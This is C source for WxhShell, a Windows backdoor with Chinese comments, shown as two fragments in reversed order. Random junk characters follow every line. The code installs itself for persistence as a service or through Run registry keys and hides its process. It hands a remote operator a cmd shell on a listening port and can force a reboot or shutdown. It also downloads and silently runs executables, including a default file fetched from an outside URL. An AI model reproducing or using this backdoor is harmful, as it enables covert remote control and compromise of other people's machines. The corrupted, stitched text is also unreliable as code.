    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FQsUm?ac:  
    else { Wch~ Yb  
    closesocket(wsh); wa09$4>_w  
    ExitThread(0); p<GR SJIk=  
    } XEH}4;C'{  
    break; C*kK)6v `  
    } ~}9PuYaD@  
  // 获取shell lU4}B`#"v  
  case 's': { 6z,Dyy]tl  
    CmdShell(wsh); a:rX9-**  
    closesocket(wsh); F`+\>ae$h  
    ExitThread(0); Pcd *">v  
    break; al^!,ykc  
  } X]j)+DX>  
  // 退出 .IrNa>J~  
  case 'x': { Xq#Y*lKVD  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); cu9Qwm  
    CloseIt(wsh); /Ft:ffR|R  
    break; MN8H;0g-  
    } S -&)p@4  
  // 离开 ,XKCz ]8V  
  case 'q': { @r7:NU}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |F$BvCg  
    closesocket(wsh); DT(d@upH  
    WSACleanup(); rxZi8w>}  
    exit(1); kyYLP"oB=  
    break; 2?7(A  
        }  ht97s  
  } U]6&b  
  } wFS2P+e;X  
v1G"3fy9  
  // 提示信息 } (FPV*mS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P87# CAN  
} </zXA$m  
  } ?? qq:`s  
2B1xUj ]  
  return; TV59(bG.2  
} Do7=#|bAM  
9i$NhfOe  
// shell模块句柄 fRZ KEIyk  
int CmdShell(SOCKET sock) w!^~<{ Kz  
{ Bn?V9TEoO  
STARTUPINFO si; N#xG3zZl|N  
ZeroMemory(&si,sizeof(si)); E)N<lh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L5fuM]G`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dE`-\J  
PROCESS_INFORMATION ProcessInfo; T Eu'*>g  
char cmdline[]="cmd"; AasZuO_I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *Ust[u  
  return 0; is^pgKX  
} /s:fW+C  
Y'VBz{brf  
// 自身启动模式 ?Ke eHMu  
int StartFromService(void)  UL@9W6  
{ xG2F!WeF  
typedef struct q%YV$$c   
{ KDP H6  
  DWORD ExitStatus; ZAKeEm2A  
  DWORD PebBaseAddress; TCKu,}s  
  DWORD AffinityMask; XMN:]!1J  
  DWORD BasePriority;  |J5 =J  
  ULONG UniqueProcessId; O\KQl0*l\\  
  ULONG InheritedFromUniqueProcessId; uGN^!NG-0  
}   PROCESS_BASIC_INFORMATION; $:s`4N^  
%qf  V+^  
PROCNTQSIP NtQueryInformationProcess; 6vKS".4C  
B@YyQ'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nz.{P@[Qk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bf`9V713  
\G@wp5  
  HANDLE             hProcess; |R/.r_x,V?  
  PROCESS_BASIC_INFORMATION pbi; "6ECgyD+E!  
qml2XJ>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T'-FV  
  if(NULL == hInst ) return 0; mog[pu:!,  
SzD KByi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hg@}@Wq\)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T\s)le  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qSCv )S(  
[Qt?W gPj  
  if (!NtQueryInformationProcess) return 0; 2aA`f7  
smY$-v)@  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /e}#' H   
  if(!hProcess) return 0; N/QiI.V6  
C#;jYBtT7?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j9+I0>#X  
Lw7=+h)  
  CloseHandle(hProcess); 2L_6x<u'  
2?C`4AR[2H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,tH5e&=U01  
if(hProcess==NULL) return 0; 1_'? JfY-  
;^Sr"v6r>u  
HMODULE hMod; _M[,! {C  
char procName[255]; {Hmo1|_S|  
unsigned long cbNeeded; 5l-mW0,MK  
3ss6_xd+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p}b/XnV$~  
V==z"  
  CloseHandle(hProcess);  >YtdA  
1{Mcs%W;w5  
if(strstr(procName,"services")) return 1; // 以服务启动  }}<Z,/O  
{+<P:jbz;  
  return 0; // 注册表启动 fEE /-}d  
} 8.=\GV  
; |/leu8  
// 主模块 ;< )~Y-  
int StartWxhshell(LPSTR lpCmdLine) Do%-B1{ri  
{ 4n1; Bh$  
  SOCKET wsl; D'l5Zd  
BOOL val=TRUE; w=h1pwY  
  int port=0; if;71ZE  
  struct sockaddr_in door; kPBV6+d~  
Zc |/{$>:W  
  if(wscfg.ws_autoins) Install(); )?M9|u  
l+][V'zL  
port=atoi(lpCmdLine); Sw`RBN[ yo  
:!;'J/B@..  
if(port<=0) port=wscfg.ws_port; >R{qESmP=  
LWsP ya  
  WSADATA data; !|q<E0@w\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F["wD O  
e7fiGl  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o~FRF0f*VP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0,s$T2  
  door.sin_family = AF_INET; 6<,dRn  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !{n<K:x1  
  door.sin_port = htons(port); XS0xLt=  
iz(u=/*\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ki0V8]HP  
closesocket(wsl); v]% WH~>  
return 1; b5IA"w  
} DcIvhBp  
fW`&'!  
  if(listen(wsl,2) == INVALID_SOCKET) { OX%MP!#KU  
closesocket(wsl); FG3UZVUg9  
return 1; A`}yBSb  
} w#JJXXQI  
  Wxhshell(wsl); wi8Yl1p]!z  
  WSACleanup(); ]%uZ\Q;9p  
HIGq%m=-x  
return 0; k *R<,  
iyVB3:M  
} {ng"=3+n  
k+V6,V)my  
// 以NT服务方式启动 FVv8--  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) v{i7h|e  
{ n\I#CH0V  
DWORD   status = 0; Tj~IaU  
  DWORD   specificError = 0xfffffff; 9p 4"r^  
k"k J_(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; NVIK>cT6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <?D[9Mk$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PUQES(&  
  serviceStatus.dwWin32ExitCode     = 0; 2>} xhQJ  
  serviceStatus.dwServiceSpecificExitCode = 0; 1tCQpf  
  serviceStatus.dwCheckPoint       = 0; !$A37j6  
  serviceStatus.dwWaitHint       = 0; w(L>#?  
Sz{O2 l Y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EzW)'Zzw~  
  if (hServiceStatusHandle==0) return; #{r#;+  
VhT= l  
status = GetLastError(); I"AYWo?  
  if (status!=NO_ERROR) Sj'ht=  
{ Lf:uNl*D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5`~mmAUk;`  
    serviceStatus.dwCheckPoint       = 0; r _,_5 @0e  
    serviceStatus.dwWaitHint       = 0; JO&JP3N1  
    serviceStatus.dwWin32ExitCode     = status; 4fh^[\  
    serviceStatus.dwServiceSpecificExitCode = specificError; f:zFFpP.j@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C\_zdADUb%  
    return; 53QfTP  
  } rI5F oh6  
:J}t&t  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ggt DN{t  
  serviceStatus.dwCheckPoint       = 0; Z'pQ^MO  
  serviceStatus.dwWaitHint       = 0; qLncn}oNM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); eRbGZYrJ  
} oq-<ob  
E}CiQUx  
// 处理NT服务事件,比如:启动、停止 y`e4;*1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1ju#9i`.Wg  
{ aYL|@R5;e  
switch(fdwControl) wI M{pK  
{ 8pM>Co!  
case SERVICE_CONTROL_STOP: j^`X~gE  
  serviceStatus.dwWin32ExitCode = 0; ^IZ)#1U  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CZ 2`H[8  
  serviceStatus.dwCheckPoint   = 0; QH4wUU3X  
  serviceStatus.dwWaitHint     = 0; W-RqN!snJ8  
  { Uts"aQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LW#M@  
  } "_L?2ta  
  return; e"-X U@`k1  
case SERVICE_CONTROL_PAUSE: P7r'ffA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Vi! Q  
  break; ZZ/cq:3$P  
case SERVICE_CONTROL_CONTINUE: ~:;3uL s,8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dN Y"]b  
  break; \8uo{#cL8  
case SERVICE_CONTROL_INTERROGATE: Auy".br'  
  break; mIZwAKo  
}; 0X..e$ '  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rgIrr5  
} `T ^G^7&  
WV;=@v  
// 标准应用程序主函数 '/0#lF  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i< (s}wg  
{ ir> ]r<Zl  
S6nhvU:  
// 获取操作系统版本 Itm8b4e9;  
OsIsNt=GetOsVer(); ;SwC&.I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bTmL5}n  
[c K^+s)N  
  // 从命令行安装 ;'T{li2  
  if(strpbrk(lpCmdLine,"iI")) Install(); -ML6d&cm  
cl[!`Z  
  // 下载执行文件 @}FAwv^f  
if(wscfg.ws_downexe) { )\/ =M*  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X[C3&NX#_  
  WinExec(wscfg.ws_filenam,SW_HIDE); x  FJg  
} 1ZJ4*bn  
KV!<Oq  
if(!OsIsNt) { 7D"%%|: h  
// 如果时win9x,隐藏进程并且设置为注册表启动 /  YiQ\  
HideProc(); qX:B4,|ck  
StartWxhshell(lpCmdLine); vvu<:16  
} 6y+b5-{'  
else eOO+>%Z  
  if(StartFromService()) H! r &aP  
  // 以服务方式启动 ?dy~ mob  
  StartServiceCtrlDispatcher(DispatchTable); W+>wu%[L  
else 3 &&+Y X  
  // 普通方式启动 my^ak*N  
  StartWxhshell(lpCmdLine); qV1O-^&[f=  
(ClhbfzD  
return 0; n"{X!(RIcx  
} dT@UK^\  
I8m:3fL"  
#mc!Wt 10  
*DeTqO65  
=========================================== 1IH[g*f  
=iz,S:[  
X33v:9=  
,cHU) j  
#Fd W/y5  
'8Wv.X0`  
" Fxd{ Zk`  
nnCug  
#include <stdio.h> V 2znU  
#include <string.h> 9/TY\?U  
#include <windows.h> H3FW52pjX  
#include <winsock2.h> Q}vbm4)[  
#include <winsvc.h> =V$j6  
#include <urlmon.h> T-L5zu  
/0==pLa4  
#pragma comment (lib, "Ws2_32.lib") ;b~~s.+  
#pragma comment (lib, "urlmon.lib") tm)*2lH6  
vE\lp8j+  
#define MAX_USER   100 // 最大客户端连接数 x'`"iZO.t  
#define BUF_SOCK   200 // sock buffer jz:gr=* z  
#define KEY_BUFF   255 // 输入 buffer =& U`9qN  
UVX"fZ)  
#define REBOOT     0   // 重启 +$pJ5+v  
#define SHUTDOWN   1   // 关机 E20&hc5 8  
Z!\@%`0$  
#define DEF_PORT   5000 // 监听端口 k$[{n'\@  
"~$$  
#define REG_LEN     16   // 注册表键长度 !oMt_k X  
#define SVC_LEN     80   // NT服务名长度 P#tvm,  
jXIEp01  
// 从dll定义API y4F^|kS) [  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z;<ep@gy~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Eb@MfL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); HHS45kg[c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  (K #A  
)SiY(8y  
// wxhshell配置信息 1D1b"o  
struct WSCFG { LM1b I4  
  int ws_port;         // 监听端口 b=LF%P  
  char ws_passstr[REG_LEN]; // 口令 h([0,:\  
  int ws_autoins;       // 安装标记, 1=yes 0=no &'O?es|Lb  
  char ws_regname[REG_LEN]; // 注册表键名 3%IWGmye4  
  char ws_svcname[REG_LEN]; // 服务名 :kp0EiJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;nk@XFJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2V$9ei6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *Mi6  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {wu!6\:<??  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6FjVmje  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O,9X8$5H-a  
<nA3Sd"QfV  
}; ;D&wh  
kPJ~X0Fr{t  
// default Wxhshell configuration :&$Xe1)i]  
struct WSCFG wscfg={DEF_PORT, cdsQ3o  
    "xuhuanlingzhe", nHU3%%%cU  
    1, ^ wQcB  
    "Wxhshell", eCL?mhK  
    "Wxhshell", Qa?Q bHc  
            "WxhShell Service", 4~WlP,,M  
    "Wrsky Windows CmdShell Service", zjWyGt(Q  
    "Please Input Your Password: ", w:R]!e_6\9  
  1, N7B}O*;  
  "http://www.wrsky.com/wxhshell.exe", YPQCOG  
  "Wxhshell.exe" L&HzN{K  
    }; =+Tsknq  
K z^hQd  
// 消息定义模块 },3R%?8 9%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bVOO)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0C7"3l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QQ|9>QP  
char *msg_ws_ext="\n\rExit."; _ ^3@PM>  
char *msg_ws_end="\n\rQuit."; 5oa]dco  
char *msg_ws_boot="\n\rReboot..."; Sh47c4{  
char *msg_ws_poff="\n\rShutdown..."; G[B*TM6$  
char *msg_ws_down="\n\rSave to "; mZ&]  
3DHvaq q7  
char *msg_ws_err="\n\rErr!"; >,w P! ;dh  
char *msg_ws_ok="\n\rOK!"; D2-O7e  
b6$4Ul-.  
char ExeFile[MAX_PATH]; #|D:f~"d3  
int nUser = 0; $pJ3xp&  
HANDLE handles[MAX_USER]; ,|>nF;.Y  
int OsIsNt; @@xF#3   
'4Y*-!9  
SERVICE_STATUS       serviceStatus; 5[hlg(eb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -y<rM0"NE  
N}1-2  
// 函数声明 f Y2l.H\f  
int Install(void); 8^NE=)cb7w  
int Uninstall(void); EID(M.G  
int DownloadFile(char *sURL, SOCKET wsh); aGe\.A=  
int Boot(int flag); 4v i B=>  
void HideProc(void); Xek E#?.  
int GetOsVer(void); DOA[iT";4  
int Wxhshell(SOCKET wsl); |c BHBd  
void TalkWithClient(void *cs); %0go%_  
int CmdShell(SOCKET sock); fG^7@J w:G  
int StartFromService(void); R7y-#?  
int StartWxhshell(LPSTR lpCmdLine); !WDn7j'A  
8~rT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); f2 VpeJ<p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }:tAKO=+  
aj+zmk~-  
// 数据结构和表定义 sVNo\  
SERVICE_TABLE_ENTRY DispatchTable[] = I-j(e)P(o_  
{ !G@V<'F  
{wscfg.ws_svcname, NTServiceMain}, +X{cN5Y K  
{NULL, NULL} DB!uv[c  
}; lb=2*dFJ1  
K>`m_M"LA  
// 自我安装 iFXUKGiV  
int Install(void) dICnB:SSB  
{ }"!6Xm  
  char svExeFile[MAX_PATH]; ~r7DEy|+  
  HKEY key; 7 B4w.P,B  
  strcpy(svExeFile,ExeFile); F^J&g%ql  
|Sy}d[VKsZ  
// 如果是win9x系统,修改注册表设为自启动 %l0_PhAB  
if(!OsIsNt) { & C!g(fS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &^"s=g.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ss*Lg K_  
  RegCloseKey(key); K]lb8q}Z~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *=r@vQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <[*h_gE5  
  RegCloseKey(key); ^*j[&:d  
  return 0; y81#UD9[  
    } 50O7=  
  } AiR%MD  
} P W0q71  
else { +Px<DX+  
VhJyWH%(  
// 如果是NT以上系统,安装为系统服务 A@fshWrl%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0Te)s3X  
if (schSCManager!=0) t\E-6u  
{ }-k_?2"A  
  SC_HANDLE schService = CreateService 4@ydK  
  ( mU e@Dud  
  schSCManager, ZKiL-^dob  
  wscfg.ws_svcname, QmDhZ04f  
  wscfg.ws_svcdisp, R  oF  
  SERVICE_ALL_ACCESS, PAO[Og,-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >"m@qkh  
  SERVICE_AUTO_START, ".Q!8j"@f  
  SERVICE_ERROR_NORMAL, a`GN@ 8  
  svExeFile, RLeSA\di  
  NULL, 2*3B~"  
  NULL, \I`=JKYT  
  NULL, J_((o  
  NULL, ft. }$8vIT  
  NULL ,sQ0atk7ma  
  ); d%[`=fs]|m  
  if (schService!=0) ?Pok-90  
  { e-duZ o  
  CloseServiceHandle(schService); cVv4gQD\  
  CloseServiceHandle(schSCManager); %o _0M^3W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bl!f5ROS(  
  strcat(svExeFile,wscfg.ws_svcname); WEY97_@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aZ`_W|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); AcfkY m~  
  RegCloseKey(key); dp%pbn6w  
  return 0; 4jyr\=42F'  
    } 8bKWIN g_n  
  } H--*[3".  
  CloseServiceHandle(schSCManager); 1RUbY>K#U  
} TG%hy"k  
} ,oi`BOh  
?H86Wbz  
return 1; R*TGn_J`  
} *Yk8Mj^_h  
r{N{! "G  
// 自我卸载 ws=9u-  
int Uninstall(void) i2%m}S;D9  
{ Cx3m\ \c  
  HKEY key; 94k)a8-!  
Gk]qE]hi  
if(!OsIsNt) { _)Z7Le:f!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QGCdeE$K  
  RegDeleteValue(key,wscfg.ws_regname); G]NtX4'4  
  RegCloseKey(key); +` Y ?-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D` `NQ`>A  
  RegDeleteValue(key,wscfg.ws_regname); 'Tan6 Qa  
  RegCloseKey(key); cPBy(5^  
  return 0; 22|M{  
  } pN f9  
} ~1]2A[`s!  
} {'Qk>G s  
else { AL$ Ty  
@7Rt[2"e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <B{VL8IA>  
if (schSCManager!=0) ;F]|HD9  
{ HtXBaIl\  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :AcN b  
  if (schService!=0) lXk-86[M  
  { Y l3[~S  
  if(DeleteService(schService)!=0) { 0}7Rm>  
  CloseServiceHandle(schService); 0N[DV]  
  CloseServiceHandle(schSCManager); [ *a>{sO[  
  return 0; 6l]?%0[*  
  } Fh4w0u*Q  
  CloseServiceHandle(schService); LY cSMuJ  
  } e2o9)=y  
  CloseServiceHandle(schSCManager); ?UhAjtYIS  
} f(MHU   
} *]| JX&  
@DC2ci >  
return 1; JOne&{h]J"  
} 6{r[Dq  
f I-"8f0_  
// 从指定url下载文件 #_L&  
int DownloadFile(char *sURL, SOCKET wsh) GZ[h`FJg/  
{ G]DN!7]@g  
  HRESULT hr; <m gTWv  
char seps[]= "/"; Bv]wHPun  
char *token; i-vJ&}}  
char *file; mb`}sTU).  
char myURL[MAX_PATH]; FT<*  
char myFILE[MAX_PATH]; im[gbac  
v6Wf7)d/1  
strcpy(myURL,sURL); J0mCWtx&  
  token=strtok(myURL,seps); 'xI+kyu  
  while(token!=NULL) N$\5%  
  { Z5a@fWU  
    file=token; ZUI9[A?  
  token=strtok(NULL,seps); /,%o<Ql9  
  } >b](v)  
{QkH%jj  
GetCurrentDirectory(MAX_PATH,myFILE); /Z_ [)PTH  
strcat(myFILE, "\\"); oOSyOD  
strcat(myFILE, file); *G|]5  
  send(wsh,myFILE,strlen(myFILE),0); D)cwttH  
send(wsh,"...",3,0); SLA~F?t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gCI'YEx  
  if(hr==S_OK) S2SQ;s-t_  
return 0; TmAb! Y|F  
else .[85<"C  
return 1; ' *C)S  
Mo|5)8_  
} Px&Mi:4tG  
iL' ]du<wk  
// 系统电源模块 ;|,Y2?  
int Boot(int flag) 4c@F.I  
{ 1/J*ki+?  
  HANDLE hToken; EPnB%'l\c  
  TOKEN_PRIVILEGES tkp; %d\+(:uu/  
S|w] Q  
  if(OsIsNt) { L(S.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^TK)_wx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '2{o_<m  
    tkp.PrivilegeCount = 1; ub&29Qte  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; hKeh9 Bt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :?W:'% (`[  
if(flag==REBOOT) { Hf|:A(vCx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  Vp4]  
  return 0; zKT<QM!`  
} UeQ% (f  
else { a,9GSKXo1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PyE<`E  
  return 0; 6E4L4Vb  
} H@2+wr)$}  
  } Sp:de,9@  
  else { _ RT}Ee}Y  
if(flag==REBOOT) { X[6 z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6 nhB1Aei  
  return 0; 8G<.5!f7`N  
} tgnXBWA`!  
else { -&tiM v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r6G)R+#  
  return 0; T+hW9pa)  
} xy>mM"DOH  
} Xw5" JE!.  
fsu "Lc  
return 1; _Z&R'`kg  
} +__Rk1CVh  
EZV$1pa  
// win9x进程隐藏模块 k/O&,T77}J  
void HideProc(void) XwMC/]lK<  
{ Kfl+8UR5=  
=Y0m;-1M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R)z|("%ec  
  if ( hKernel != NULL ) e#^by(1@}  
  { Fjb[Ev  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #$E vybETx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~gD]JiiA  
    FreeLibrary(hKernel); Ja1*a,],L  
  } LX'US-B.!  
\=~Ap#Mpc4  
return; 1;V5b+b  
} {ar }.U  
uPPe"$  
// 获取操作系统版本 =%p{ " <  
int GetOsVer(void) EC0auB7G  
{ \8!HZei  
  OSVERSIONINFO winfo; .wywO|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); YX(%jcj*  
  GetVersionEx(&winfo); =k z;CS+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gMbvHlT  
  return 1; _1~Sj*  
  else !p$V7pFu6  
  return 0; 2_Qzc&"[ 4  
} _%]H}N Q  
I~I%z'"RQd  
// 客户端句柄模块 $O#h4L_  
int Wxhshell(SOCKET wsl) [*(MI 9WM  
{ +Muyp]_  
  SOCKET wsh; ='FEC-f95  
  struct sockaddr_in client; t9}XO M*  
  DWORD myID; v|xlI4  
<|4j<U  
  while(nUser<MAX_USER) k1<Py$9"  
{ IO4 IaeM  
  int nSize=sizeof(client); *QVE>{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); jL# akV  
  if(wsh==INVALID_SOCKET) return 1; ]8#{rQ(  
4}CRM# W2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )I#kG{z|P;  
if(handles[nUser]==0) tv0xfAV  
  closesocket(wsh); 1\2 m'o  
else d3\8BKp  
  nUser++; #%5>}$  
  } MG6Tk(3S  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "YBA$ef$  
&Fi8@0Fh  
  return 0; /c7j@=0  
} R8 KL4g-d  
Wi[Y@  
// 关闭 socket N  P"z  
void CloseIt(SOCKET wsh) O Rfl v+  
{ +0OQ"2^&  
closesocket(wsh); zR4huo  
nUser--; ns3k{l#  
ExitThread(0); 8WH>  
} ka hv1s-  
%F7aFvl*  
// 客户端请求句柄 XEuv aM  
void TalkWithClient(void *cs) )sQbDA|p  
{ z7CYYU?  
>eXNw}_j  
  SOCKET wsh=(SOCKET)cs; ;#+#W+0  
  char pwd[SVC_LEN]; 'fB`e]_  
  char cmd[KEY_BUFF]; $$4% .J26Z  
char chr[1]; L/ZZe5I  
int i,j; CR/LV]G  
V$@2:@8mo  
  while (nUser < MAX_USER) { 4 (yHD  
dug RO[  
if(wscfg.ws_passstr) { xP*RH-<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }"T:z{n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aV ^2  
  //ZeroMemory(pwd,KEY_BUFF); >[p+L='  
      i=0; 8dpVB#]pp,  
  while(i<SVC_LEN) { acH.L _B:  
BP7_o63/G  
  // 设置超时 ;HC"hEc!  
  fd_set FdRead; 5t PmrWZ  
  struct timeval TimeOut; !xlVyt5e  
  FD_ZERO(&FdRead); 1/gh\9h  
  FD_SET(wsh,&FdRead); qj|GAGrQ2  
  TimeOut.tv_sec=8; %!q(zql  
  TimeOut.tv_usec=0; y0Tb/&xN  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >8,BC  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i{,>2KVC|  
J:>TV.TP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mMMu'N  
  pwd=chr[0]; u]}Xq{ZN  
  if(chr[0]==0xd || chr[0]==0xa) { 6`yq4!&v  
  pwd=0; )y K!EK\  
  break; @<Y Za$`  
  } 5E%W;$3Pb  
  i++; d<whb2l  
    } Ft]sTA+C  
tpVtbh1)u  
  // 如果是非法用户,关闭 socket IuTTMAt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BG|Kw)z*KM  
} 4Qw!YI#40$  
UeVF@rw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A[b'MNsv  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &K7g8x"x.  
S-1}3T%  
while(1) { Z?b. PC/  
!~RD>N&n  
  ZeroMemory(cmd,KEY_BUFF); A*$vk2VWw  
}3+(A`9h f  
      // 自动支持客户端 telnet标准   gcz1*3)  
  j=0; !is8`8F8  
  while(j<KEY_BUFF) { w0.#/6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k'{lo _  
  cmd[j]=chr[0]; ]\GGC]:\@  
  if(chr[0]==0xa || chr[0]==0xd) { R% ddB D\?  
  cmd[j]=0; i#C?&  
  break; 1mB6rp  
  } g'IS8@  
  j++; wOOPuCw?  
    } ;eWVc;H  
yeW|Ux:  
  // 下载文件 tkd2AMkh!  
  if(strstr(cmd,"http://")) { 6h5*b8LxA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c,+oH<bZZs  
  if(DownloadFile(cmd,wsh)) "BTA"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); EswM#D 9(4  
  else t!PFosFp  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $1w8GI\J  
  }  Im#3sn  
  else { QN0Ik 2L  
{i=qx#2X?H  
    switch(cmd[0]) { 7qs[t7-h?  
  D7=gUm >  
